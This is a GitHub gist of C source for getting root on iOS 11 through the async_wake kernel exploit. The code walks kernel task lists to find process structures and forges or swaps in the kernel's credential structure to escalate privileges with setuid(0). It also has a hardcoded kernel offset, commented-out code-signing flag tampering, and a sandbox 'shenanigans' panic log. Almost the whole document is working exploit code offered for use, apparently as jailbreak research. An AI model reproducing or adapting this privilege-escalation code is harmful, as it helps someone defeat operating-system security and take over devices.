Skip to content

Instantly share code, notes, and snippets.

@stek29
Last active December 15, 2017 00:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stek29/8b808986e7ee3c204bfb76d69577812f to your computer and use it in GitHub Desktop.
Save stek29/8b808986e7ee3c204bfb76d69577812f to your computer and use it in GitHub Desktop.
setuid(0) with async_wait
#include "kmem.h"
#include "kutils.h"
#include "symbols.h"
#include "rootme.h"
#include "kcall.h"
#include <unistd.h>
/* safe setuid(0) for async_wake by stek29 */
// I was too lazy to write down offsets
#include <sys/queue.h>
#include <bsm/audit.h>
// from bsd/sys/ucred.h
struct kern_ucred {
TAILQ_ENTRY(kern_ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
u_long cr_ref; /* reference count */
struct kern_posix_cred {
/*
* The credential hash depends on everything from this point on
* (see kauth_cred_get_hashkey)
*/
uid_t cr_uid; /* effective user id */
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
short cr_ngroups; /* number of groups in advisory list */
gid_t cr_groups[NGROUPS]; /* advisory group list */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved group id */
uid_t cr_gmuid; /* UID for group membership purposes */
int cr_flags; /* flags on credential */
} cr_posix;
struct label *cr_label; /* MAC label */
/*
* NOTE: If anything else (besides the flags)
* added after the label, you must change
* kauth_cred_find().p
*/
struct au_session cr_audit; /* user auditing data */
};
// looks like it's comparing process ucred with kernel's ucred
// but we can make a new ucred with same rights!
// however, kern_cred_* stuff has it's own hashtable and won't allow duplicates
// so we change some fields to make kauth_cred_get_hashkey return different key
// that allows us to create a new ucred instead of referencing kernel's one
int fuck_shenanigans_tracer(void) {
// sorry mom, I had to make it offset-dependent
// however, old method could be used tempotarly to read
// on device kernelcache and find this offset
uint64_t _kauth_cred_create_off = 0xFFFFFFF0073B5AD8;
struct kern_ucred new_ucred;
uint64_t kern_buf = kmem_alloc(sizeof(new_ucred));
uint64_t slide = find_kernel_base() - 0xFFFFFFF007004000;
uint64_t kern_proc = proc_for_pid(0);
uint64_t kern_cred = rk64(kern_proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
rkbuffer(kern_cred, &new_ucred, sizeof(new_ucred));
new_ucred.cr_ref = 1;
new_ucred.cr_posix.cr_flags = 0;
new_ucred.cr_posix.cr_gmuid = 0;
new_ucred.cr_posix.cr_ngroups = 2;
wkbuffer(kern_buf, &new_ucred, sizeof(new_ucred));
uint64_t allocd_cred = kcall(_kauth_cred_create_off + slide, 1, kern_buf);
if (allocd_cred == 0) {
printf("Can't create cred!\n");
kmem_free(kern_buf, sizeof(new_ucred));
return -1;
}
// only lower 32bits are returned from kcall
allocd_cred |= 0xfffffff000000000;
uint64_t our_proc = proc_for_pid(getpid());
uint64_t old_ucred = rk64(our_proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
wk64(our_proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), allocd_cred);
// uint32_t csflags = rk32(our_proc + koffset(KSTRUCT_OFFSET_PROC_P_CSFLAGS));
// csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_KILL | CS_HARD);
// wk32(our_proc + koffset(KSTRUCT_OFFSET_PROC_P_CSFLAGS), csflags);
kmem_free(kern_buf, sizeof(new_ucred));
return setuid(0);
}
// thx ianbeer for async_wake
// proc_for_pid based on cheesecakeufo code
#include "kmem.h"
#include "kutils.h"
#include "symbols.h"
#include "rootme.h"
uint64_t proc_for_pid(uint32_t pid) {
uint64_t task_self = task_self_addr();
uint64_t struct_task = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t next_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_NEXT));
while (struct_task != 0 && ((struct_task & 0xffff000000000000) == 0xffff000000000000) ) {
uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
uint32_t found = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
if (found == pid) {
return bsd_info;
}
struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
}
struct_task = next_task;
while (struct_task != 0 && ((struct_task & 0xffff000000000000) == 0xffff000000000000) ) {
uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
uint32_t found = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
if (found == pid) {
return bsd_info;
}
struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_NEXT));
}
return -1;
}
kern_return_t swap_creds(void) {
kern_return_t ret = KERN_SUCCESS;
static uint64_t our_proc = -1, kernel_proc = -1, krn_ucred = -1, our_ucred = -1;
if (our_proc == -1 && kernel_proc == -1) {
uint64_t our_proc = proc_for_pid(getpid());
printf("our proc: %llx\n", our_proc);
uint64_t kernel_proc = proc_for_pid(0);
printf("krn proc: %llx\n", kernel_proc);
if(our_proc == -1 || kernel_proc == -1) {
printf("[ERROR]: no our/krn proc. wut\n");
ret = KERN_FAILURE;
return ret;
}
krn_ucred = rk64(kernel_proc + 0x100 /* KSTRUCT_OFFSET_PROC_UCRED */);
printf("krn_ucred: %llx\n", krn_ucred);
our_ucred = rk64(our_proc + 0x100 /* KSTRUCT_OFFSET_PROC_UCRED */);
printf("our_ucred: %llx\n", our_ucred);
}
if (getuid() != 0) {
wk64(our_proc + 0x100 /* KSTRUCT_OFFSET_PROC_UCRED */, krn_ucred);
printf("successfully wrote krn_ucred into our proc!\n");
ret = setuid(0) == 0 ? KERN_SUCCESS : KERN_FAILURE;
} else {
wk64(our_proc + 0x100 /* KSTRUCT_OFFSET_PROC_UCRED */, our_ucred);
printf("successfully wrote our_ucred into our proc!\n");
}
return ret;
}
// iOS panics when we don't reset creds/pid back after doing sneaky things
// So calling ensure_unroot is neccesarry before returing back to iOS code
// Search for "shenanigans" in kernel
kern_return_t ensure_unroot(void) {
if (getuid() == 0) {
return swap_creds();
}
return KERN_SUCCESS;
}
kern_return_t get_root(void) {
if (getuid() != 0) {
return swap_creds();
}
return KERN_SUCCESS;
}
#ifndef rootme_h
#define rootme_h
kern_return_t get_root(void);
kern_return_t ensure_unroot(void);
#endif
panic(cpu 0 caller 0xfffffff00a18b574): "shenanigans!"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/Sandbox_executables/Sandbox-765.20.5.0.1/src/kext/evaluate.c:2674
Debugger message: panic
Memory ID: 0x6
OS version: 15B202
Kernel version: Darwin Kernel Version 17.2.0: Fri Sep 29 18:14:51 PDT 2017; root:xnu-4570.20.62~4/RELEASE_ARM64_T7000
KernelCache UUID: ---who needs dis---
iBoot version: iBoot-4076.20.48
secure boot?: YES
Paniclog version: 8
Kernel slide: 0x0000000003a00000
Kernel text base: 0xfffffff00aa04000
Epoch Time: sec usec
Boot : 0x5a32e3fc 0x000e5618
Sleep : 0x00000000 0x00000000
Wake : 0x00000000 0x00000000
Calendar: 0x5a32e4ac 0x00022247
Panicked task 0xfffffff10b24bb78: 1732 pages, 3 threads: pid 1: launchd
Panicked thread: 0xfffffff10d1b5100, backtrace: 0xfffffff126ad32a0, tid: 4898
lr: 0xfffffff00aba9978 fp: 0xfffffff126ad33d0
lr: 0xfffffff00aa98198 fp: 0xfffffff126ad33e0
lr: 0xfffffff00aac0df8 fp: 0xfffffff126ad3750
lr: 0xfffffff00aac1108 fp: 0xfffffff126ad3790
lr: 0xfffffff00aac0fa8 fp: 0xfffffff126ad37b0
lr: 0xfffffff00a18b574 fp: 0xfffffff126ad38b0
lr: 0xfffffff00a187da0 fp: 0xfffffff126ad3ae0
lr: 0xfffffff00af5d07c fp: 0xfffffff126ad3b50
lr: 0xfffffff00aba9f38 fp: 0xfffffff126ad3c80
lr: 0xfffffff00aa98198 fp: 0xfffffff126ad3c90
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment